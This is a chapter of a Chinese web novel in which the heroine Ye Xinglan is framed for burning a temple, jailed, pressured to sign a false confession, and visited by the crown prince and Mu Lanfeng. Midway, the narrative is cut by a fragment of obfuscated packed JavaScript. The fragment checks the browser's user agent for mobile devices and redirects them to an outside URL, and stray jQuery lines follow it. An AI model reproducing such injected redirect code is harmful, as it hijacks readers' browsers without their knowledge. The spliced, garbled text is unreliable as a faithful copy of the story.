70. 无辜入狱

作品:《假千金已送达,无法拒收!

    眼看着天色又暗了下去,叶星澜倚在榻上静心喝茶闻香听曲。公主推门而进见这情形,对她毫无畏惧,坦然处之的处事风格颇为惊讶。


    公主挥臂落座,明黄的衣袖翩然飞扬,真有帝王睥睨天下的姿态,道:“我再问你最后一句,你若帮我,我便有办法使你全身而退。”


    叶星澜不语,耐心喝完杯中最后一口茶。


    “你比那群老头有骨气。”


    公主虽笑着赞了声,但依旧没阻拦身边人还是纷纷上前将叶星澜围得严严实实。


    为首的男子是那夜闯入府中与穆岚风大打一场的人。这会儿也不例外,与叶星澜一板一眼道:“请夫人到刑部走一趟。”


    叶星澜虽然对公主所为嗤之以鼻,但争权夺位向来如此,她真心佩服公主的野心和手段,起身走到公主面前,不卑不亢道:“这三日多谢公主款待。若我不幸活不长久,愿公主将来登上帝位,善待我母家与夫家。”


    公主淡淡地瞥了她一眼,略有犹豫和不屑:“你都不帮我,我为何要善待他们。”


    “明君所为,我相信公主也能做到。”叶星澜向人微笑点头。


    原以为能体面走路到刑部,结果刚迈出南风阁的门槛,眼前又是一阵黑,一阵天旋地转,又是麻布磨得脸颊生疼。挣扎无用,叶星澜遂放弃。


    又以为至少有人审问她一番再关她,结果被人甩在铺了层薄薄茅草堆的地上之后,叶星澜谁也没见过。


    在穆府养尊处优惯了,又在奢华无度的雅间住了几天,转眼就要在潮湿无光,连空气都充满腐烂臭味的牢房度日,更别提总有凄惨哀怨叫声传来。


    她哪里受得了,试图吸引狱卒的注意力,趴在门栏上大喊道:“冤枉啊!青天大老爷!”


    离她最近的狱卒立刻回头,伸手指着她:“喊什么喊!能到这儿来的哪一个不喊冤,我不管你是真冤假冤,给我安静点!”


    叶星澜料想这人不认得她,忙从腰间扯下钱袋子——幸好这几日都没人搜过她的身,她拿出一锭银子,直冲人招手,讨好道:“大哥,我这有点银子够你买酒喝,你拿去,拿去。”


    那狱卒见她还算来事,这才抬脚走至牢房前,摩挲着下巴细细将她从头到脚都打量一遍,怀疑道:“看你穿着打扮不俗,高低也是个小姐才对,怎么会到这儿?你犯了什么事?”


    狱卒嘴上同情,还是不客气地拿过银子,放在手里掂量又用牙齿咬。叶星澜直言道:“我并非普通官家小姐,我出自重岳晏府,我父亲是当朝盐铁使军,我夫君——”


    “得得得,我不管你是谁,少在这儿吹牛!”狱卒拿了好处,脸色依旧没多好看。


    料想这狱卒文化不多,识不全朝廷大臣,她干脆把穆随的名号搬出来,急道:“诶,大哥留步!我夫君是镇北将军,这你总该听说过吧?”


    “你夫君是镇北将军?穆将军?”


    “对,就是他!”


    “哈哈——”这狱卒仰头大笑起来,“你夫君是穆将军,我爹还是玉皇大帝呢。吹牛也没个度——”


    见人死活不信,叶星澜当即无话可说,两手在身上四处游走。先前在南古寺做工,觉得身上叮叮当当响个不停,实在繁琐,便都摘了。眼下怎么都找不出一件能证明身份的物件,懊恼地咬牙直吐气。


    狱卒要走,她咬牙忍痛拔下头顶的金簪,再次喊住人:“大哥,我真是穆将军明媒正娶的妻子。这金簪送你,你能不能帮我往穆府送个口信,就说我一切都好。”


    “我可不敢。谁知道你犯的什么罪,如果你是死罪,我帮你被人发现,那就成帮凶了,说不定还得和你一起死......”狱卒白她一眼,却作势要抢走她拿着的金簪。


    叶星澜反应快,当即缩回手,道:“你不帮就别想再从我这儿拿走好处。”


    那狱卒左右张望一番,确定无人注意到他俩后,贼心大起,竟然从腰间取了钥匙打开拴在门栏上的锁。


    叶星澜捏着金簪连连后退,趁狱卒拉下锁链时,眼疾手快地拔下发间的蝴蝶银簪,按动簪上的机关。刹那间,三根银针似蛛丝银线般飞快射出,不偏不倚地扎中狱卒的后脖颈。


    还未来得及眨眼,那狱卒眼含怨愤地回头望了她一眼,便瘫软在地,毫无反应。


    叶星澜踮着脚后跟跳到狱卒旁边,勾着脑袋从人的脖子上拔下银针,怎么都没办法把银针收回簪子,干脆把银针一丢,双手合十忏悔道:“应该不会死,大哥你先睡一会儿吧,抱歉啊,不好意思啊......”


    她猫着腰走出牢房,因为不清楚牢房的构造,来的时候又被人蒙了脑袋不认得路,站在左右前后都是墙壁的分岔路,不知该往哪里走。


    往左走,隐约听见左边传来稀稀落落的脚步声;准备往右跑,又见右边黢黑的墙壁忽地亮起微微红光。真是左右为难,叶星澜只好原路折回牢房。


    又怕被人发现,手忙脚乱地把狱卒连拉带拽推出牢房,把门关上锁链绑好,把自己彻底关了起来。


    没一会儿,门栏前便站了一排身穿朝服又年迈的男人,叶星澜挨个扫了眼,猜想这些人当朝为官,都是公主一党。


    “这是怎么回事?”其中有人指着躺在地上,无论如何怎么踢都没反应的狱卒。


    叶星澜扯了扯嘴角,飞快眨眼道:“他方才巡逻的时候突然晕了过去,可能是太困了,或者得了什么病。说不准,不清楚。”说完,良心隐隐不安,补充道,“但我觉得最好还是找个大夫给他看看。”


    “赶紧拉走,多不像样......”


    那人大声嚷道,接着两位狱卒跑过来将地上昏过去的人扛走。


    在避暑宴上,因为世子之死,叶星澜对大理寺少卿印象颇深,眼下她也只认得这一位。不等人开口,她挺直腰板直视面前人,行礼后问道:“少卿大人,此番而来可是调查南古寺失火一案?我可以明确告诉你,那晚虽然我是最后一个离开,但我从未做过此事,我——”


    她解释的时候少卿大人就连连摇头,未听人说完,便高声打断道:“穆夫人,虽然我不知你为何要这么做,烧毁你与文大人与其他匠人的心血,此举实在可恶。况且,我们在南古寺仔细勘察一番,又有几位匠人做证,亲眼见你放火点着南古寺。眼下人证物证俱在,穆夫人还是不要狡辩了。”


    莫须有的事情,狗屁的人证物证亲眼见证......叶星澜听得愣住好半会儿,稍稍理清思绪后瞪住少卿,胸口忍不住起伏,嗓音都变得狠戾几分:“少卿大人审问过几人?物证是什么?火把还是蜡烛?上面写了我的名字?皇家寺庙被烧毁,竟然短短三天就结案了是么?”


    一连串的问题似乎都在他们的预料中,少卿大人从袖袋中掏出两张薄纸,隐隐笑着,口吻满是鄙夷:“穆夫人若认罪认罚,那便画押吧。”


    看都不用看那纸上写的是什么荒唐话,她一把抢过,攥在手里撕得稀巴烂,又丢在地上大力跺脚踩着。


    “少卿大人,我就说她不会轻易认罪,幸好我准备得足够多。”


    这群人对她的气恼见怪不怪,一直被其他人挡住的文大人笑得阴暗狡黠,缓缓从他人身后走出,拿着厚厚一沓纸,交给守在旁侧的狱卒,嘱咐道:“她撕一张,就重新拿一张,多的是。她不画押,那就得你们动手了。”


    文大人黑溜溜的眼珠转向墙上挂着的各种刑具,鞭子,刀,剑......


    叶星澜的后背一凉,蜷着的手指不住发抖,冲他们嚷道:“你们想屈打成招,我告诉你这是不可能的。就是我死,我也不认!可如果我死在这里,少卿一定难辞其咎。如果穆随回来,他一定不会放过你,你等着。晏大人知道此事......”


    她屡屡威胁,搬出所有可能吓住他们大家的人物,可这群人面不改色,无所顾忌地大笑起来。


    “重岳距离京城路途遥远不说,等他赶来,怕你早就是一具冰冷的尸体了。更别说千万里之外的北境,将军就算有心飞回来,更是赶不上的!”


    叶星澜气得牙痒,扒着门栏努力去够文大人的衣袖,恨不得把人掐死,两手折腾许久都只抓住空气,索性放开了嗓子大骂道:“狗东西!你等我出去了,我扒你的皮,剁你的骨头,啃你的肉,喝你的血!”


    “先前你拿刀抵在我脖子的时候,就应该料到有这一天。今天你百口莫辩,死罪难逃,这就是你的现世报!”文大人拍打着两只宽大衣袖,得意极了。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047313|184822||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >叶星澜攒足了劲儿,噘着嘴往文大人脸上吐了口唾沫,叫喊道:“我的报应?你的报应就是我。我哪怕死了,变成孤魂野鬼,我也不会放过你,你给我等着——”


    她装疯卖傻也好,撒泼打滚也好,这群人全都视而不见,背着双手笑着准备离开。


    就在她失意时,一名狱卒忽然冲到牢房前,低头冲少卿禀道:“大人,太子殿下带着人冲进来了。”


    话落,少卿果然脸色一变,跟在他身后的人也纷纷面露惧色。少卿厉声问道:“你们做什么吃的?这都没拦住!”


    “太子殿下带了群高手,还有穆家二小姐,我等不敢轻易动手,怕伤及殿下惹大怒。”


    “穆家?”少卿回头望了眼黑暗中叫嚣过后一脸得意的女子,差人将那些认罪书全部收起。


    叶星澜见状,死抓着门栏摇晃,扯着脖子大喊道:“穆岚风快来救我啊!我在这里!他们要屈打成招,你快来救我啊!”


    少卿大人捂嘴不急,赶忙让狱卒开锁,又带着一群人装出客气礼貌的模样,掐准太子等人露面时,好言好语道:“穆夫人,你有什么需要的尽管开口,我们能帮的尽量帮......”


    见太子身边果真站着穆岚风,叶星澜当即撸起袖子,叉腰站在门前,气焰比刚才更嚣张:“我要你死!你个狗官,是非不辨,善恶不清。竟然想把罪名扣到我头上,捏造伪证,好大的胆!”


    先前两日都没打听到半点消息,一大家子担心得不行,饭也不吃,觉也不睡。今日若不是执意闯进来,亲眼见到人,少卿与一众命官怕是还要含糊待人。


    穆岚风本就憋屈,听她这么一说,握住腰侧的刀把就要抬脚,只是被身边的人拉住胳膊。


    太子气质儒雅,一贯的面带笑容,冲人道:“火烧南古寺为朝廷重案,即使人证物证俱全,也应该禀明父王,不可操之过急。”


    话落,叶星澜眸光一沉。看来所谓的人证物证早就广而告之,所有人都认定就是她放火烧寺,否则太子不会这么说。


    少卿回以礼节,点头道:“太子殿下有所不知,穆夫人情绪激动,我好言相劝,穆夫人却变本加厉辱骂,方才所言,太子听得清清楚楚,我未曾还口,忍让再忍让啊。”


    典型的恶人先告状,叶星澜伸长舌头,又往牢房外用力啐了一口。


    穆岚风想上前,又被太子拉住。太子道:“穆夫人毕竟身份尊贵,适应不了这里是人之常情。眼下案情还未有新的进展,难保会有共犯还未捉拿。依我看,对穆夫人还是要好生相待,让她供出幕后主使才是。”


    少卿连连点头,当着太子的面呵斥狱卒:“听见没!万不可用刑,更不能屈打成招,一切都要秉公办案。”


    叶星澜听了更气,干脆从牢房内找了块石子,瞄准少卿的脑袋掷去,正中人的头顶,依旧不痛快,嚷着:“狗官!你口口声声公正,却伪造证据,污人清誉,不得好死!......”


    少卿捂着脑袋,吹眉瞪眼地扭头看始作俑者。


    事已至此,穆岚风纵有千万般不舍,还是被人拉出刑部大牢,耳边的骂声越来越小,直至完全听不清楚。


    她终于忍不住大力甩开太子的手,瞪着他:“你也相信她会放火吗?她是所有人里最尽心尽力的,有时候不吃饭不睡觉也在研究,就连休沐她都要不停......她有什么理由这么放火?分明就是他们栽赃陷害!”


    “我当然不相信。”太子答得肯定,却又不敢再去拉人,恐火上浇油,只好耐心同人讲理,“可是少卿呈上的物证属实,搜集的人言凿凿有理。眼下情形于我们实在不利,我若不附和他们的话,那他们只会更加虐待她。穆小姐还是冷静些为好。方才我已安排我的人换装守于牢房内,至少不会让她受皮肉之苦。”


    穆岚风烦躁的表情稍稍平静下来,太子又道:“至少我们得到了一个好消息不是么?她现在生龙活虎,嘴皮子功夫了得,方才一番话根本占据上风才是。”


    “她的口才好得不得了。”穆岚风点头,眉心还是紧皱,头发一甩转过身去,“不同你说了,我得赶紧把这个消息带回府里,让祖母想想办法。”


    “马已备好,顺手而为,穆小姐不必感谢。”